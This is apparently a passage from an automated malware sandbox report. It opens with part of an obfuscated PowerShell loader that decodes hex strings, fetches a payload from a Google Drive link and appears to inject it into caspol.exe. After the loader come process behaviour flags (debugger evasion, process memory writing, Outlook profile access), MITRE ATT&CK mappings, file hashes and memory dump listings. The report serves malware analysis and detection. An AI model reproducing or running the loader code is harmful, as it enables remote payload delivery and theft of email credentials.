'53351800121B1B1213131846424E574A572C240E0403121A59250219031E1A12593E190312051807241205011E141204593A1605041F161B2A4D4D30120333121B121016031231180531021914031E181927181E190312055F5F111C07575327051814181B1B121057533D120519111847445E5B575F30332357375F2C3E19032703052A5E575F2C3E19032703052A5E5E5E';.($usneavitam7) $Jernfo02;$Uncon7 = Jernfo11 '53320F1E040312574A5753351800121B1B1213131846424E593E1901181C125F475E';.($usneavitam7) $Uncon7;$Uncon7 = Jernfo11 '532403181A1603593E1901181C125F53320F1E0403125B57475E';.($usneavitam7) $Uncon7;$Uncon6 = Jernfo11 '531A121B13574A572C240E0403121A59250219031E1A12593E190312051807241205011E141204593A1605041F161B2A4D4D30120333121B121016031231180531021914031E181927181E190312055F5F111C07575327051814181B1B121057530204191216011E03161A435E5B575F30332357375F2C3E19032703052A5B572C223E190344452A5B572C223E190344452A5B572C223E190344452A5E575F2C3E19032703052A5E5E5E';.($usneavitam7) $Uncon6;$Disputats219 = fkp $usneavitam5 $usneavitam6;$Uncon7 = Jernfo11 '533F1B13191E44574A57531A121B13593E1901181C125F2C3E19032703052A4D4D2D1205185B5741434E5B57470F444747475B57470F43475E';.($usneavitam7) $Uncon7;$Uncon8 = Jernfo11 '53270518100516454544574A57531A121B13593E1901181C125F2C3E19032703052A4D4D2D1205185B5745424E44424F40455B57470F444747475B57470F435E';.($usneavitam7) $Uncon8;$Jernfo01 = 'https://drive.google.com/uc?export=download&id=1_-w5Me4EvTzbdzIX_v_YMZdeLAzHrV5z';$Jernfo00 = Jernfo11 '53351E1B1B444F574A575F3912005A38151D1214035739120359201215341B1E1219035E59331800191B1816132403051E19105F533D120519111847465E';$Uncon8 = Jernfo11 '533F1B13191E454A531219014D16070713160316';.($usneavitam7) $Uncon8;$Hldni2=$Hldni2+'\Ufor.dat';$Bill38='';if (-not(Test-Path $Hldni2)) {while ($Bill38 -eq '') {.($usneavitam7) $Jernfo00;Start-Sleep 5;}Set-Content $Hldni2 $Bill38;}$Bill38 = Get-Content $Hldni2;$Uncon9 = Jernfo11 '532219141819574A572C240E0403121A59341819011205032A4D4D3105181A3516041241432403051E19105F53351E1B1B444F5E';.($usneavitam7) $Uncon9;$Bill380 = Jernfo11 '2C240E0403121A59250219031E1A12593E190312051807241205011E141204593A1605041F161B2A4D4D3418070E5F5322191418195B57475B5757533F1B13191E445B5741434E5E';.($usneavitam7) $Bill380;$Skdeskind=$Uncon.count-649;$Bill381 = Jernfo11 '2C240E0403121A59250219031E1A12593E190312051807241205011E141204593A1605041F161B2A4D4D3418070E5F5322191418195B5741434E5B57532705181005164545445B5753241C1312041C1E19135E';.($usneavitam7) $Bill381;$Bill382 = Jernfo11 '532401011203041E1A574A572C240E0403121A59250219031E1A12593E190312051807241205011E141204593A1605041F161B2A4D4D30120333121B121016031231180531021914031E181927181E190312055F5F111C07575302131C1B1E0704151857533C1E13131E1C125E5B575F30332357375F2C3E19032703052A5B572C3E19032703052A5B572C3E19032703052A5B572C3E19032703052A5B572C3E19032703052A5E575F2C3E19032703052A5E5E5E';.($usneavitam7) $Bill382;$Bill383 = Jernfo11 '532401011203041E1A593E1901181C125F533F1B13191E445B532705181005164545445B53331E0407020316030445464E5B475B475E';.($usneavitam7) $Bill383#"
    3⤵
    - Blocklisted process makes network request
    - Checks QEMU agent file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1628
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"
      4⤵
      Checks QEMU agent file
      Accesses Microsoft Outlook profiles
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:268

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Web Service

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
61KB

MD5
fc4666cbca561e864e7fdf883a9e6661

SHA1
2f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5

SHA256
10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b

SHA512
c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
c55caa3760ab99c7031818dbe34c1015

SHA1
130a87a6ba6bc188725e3c7404c8d7b7b3da3e73

SHA256
7a88d90e7d2acf45428a46d2064ca58e4cd4ea4056feb442868a8edb2e091a12

SHA512
563795ef730382bfc40d5596475da9b6a9e72db3ebe975fe156b81ceac569058e52249bc4fb9569924e52413914f999d972781c8776e825bb39c44e761d7432a

Download Submit
memory/268-78-0x0000000077C90000-0x0000000077E39000-memory.dmp

Filesize
1.7MB

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memory/268-91-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

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memory/268-76-0x0000000001020000-0x00000000028DC000-memory.dmp

Filesize
24.7MB

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memory/268-83-0x0000000077E70000-0x0000000077FF0000-memory.dmp

Filesize
1.5MB

Download
memory/268-82-0x0000000077E70000-0x0000000077FF0000-memory.dmp

Filesize
1.5MB

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memory/268-87-0x0000000001020000-0x00000000028DC000-memory.dmp

Filesize
24.7MB

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memory/268-93-0x0000000077E70000-0x0000000077FF0000-memory.dmp

Filesize
1.5MB

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memory/268-73-0x000000000101768E-mapping.dmp

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memory/268-89-0x0000000000401000-0x0000000000615000-memory.dmp

Filesize
2.1MB

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memory/268-92-0x0000000077E70000-0x0000000077FF0000-memory.dmp

Filesize
1.5MB

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memory/268-88-0x0000000000400000-0x0000000000615000-memory.dmp

Filesize
2.1MB

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memory/896-60-0x000007FEF3EE0000-0x000007FEF4A3D000-memory.dmp

Filesize
11.4MB

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memory/896-67-0x00000000028B4000-0x00000000028B7000-memory.dmp

Filesize
12KB

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memory/896-65-0x00000000028BB000-0x00000000028DA000-memory.dmp

Filesize
124KB

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memory/896-61-0x000000001B700000-0x000000001B9FF000-memory.dmp

Filesize
3.0MB

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memory/896-62-0x00000000028B4000-0x00000000028B7000-memory.dmp

Filesize
12KB

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memory/896-59-0x000007FEF4A40000-0x000007FEF5463000-memory.dmp

Filesize
10.1MB

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memory/896-57-0x0000000000000000-mapping.dmp

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memory/896-97-0x00000000028BB000-0x00000000028DA000-memory.dmp

Filesize
124KB

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memory/1312-55-0x0000000000000000-mapping.dmp

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memory/1508-54-0x0000000000000000-mapping.dmp

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memory/1628-64-0x0000000075CF1000-0x0000000075CF3000-memory.dmp

Filesize
8KB

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memory/1628-77-0x0000000005B30000-0x00000000073EC000-memory.dmp

Filesize
24.7MB

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memory/1628-75-0x0000000077E70000-0x0000000077FF0000-memory.dmp

Filesize
1.5MB

Download
memory/1628-86-0x0000000077E70000-0x0000000077FF0000-memory.dmp

Filesize
1.5MB

Download
memory/1628-74-0x0000000077E70000-0x0000000077FF0000-memory.dmp

Filesize
1.5MB

Download
memory/1628-70-0x0000000077C90000-0x0000000077E39000-memory.dmp

Filesize
1.7MB

Download
memory/1628-69-0x0000000005B30000-0x00000000073EC000-memory.dmp

Filesize
24.7MB

Download
memory/1628-68-0x0000000073CD0000-0x000000007427B000-memory.dmp

Filesize
5.7MB

Download
memory/1628-66-0x0000000073CD0000-0x000000007427B000-memory.dmp

Filesize
5.7MB

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memory/1628-63-0x0000000000000000-mapping.dmp

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memory/1628-94-0x0000000073CD0000-0x000000007427B000-memory.dmp

Filesize
5.7MB

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memory/1628-95-0x0000000077E70000-0x0000000077FF0000-memory.dmp

Filesize
1.5MB

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memory/1628-96-0x0000000005B30000-0x00000000073EC000-memory.dmp

Filesize
24.7MB

Download
memory/1944-56-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

Filesize
8KB

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Analysis

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General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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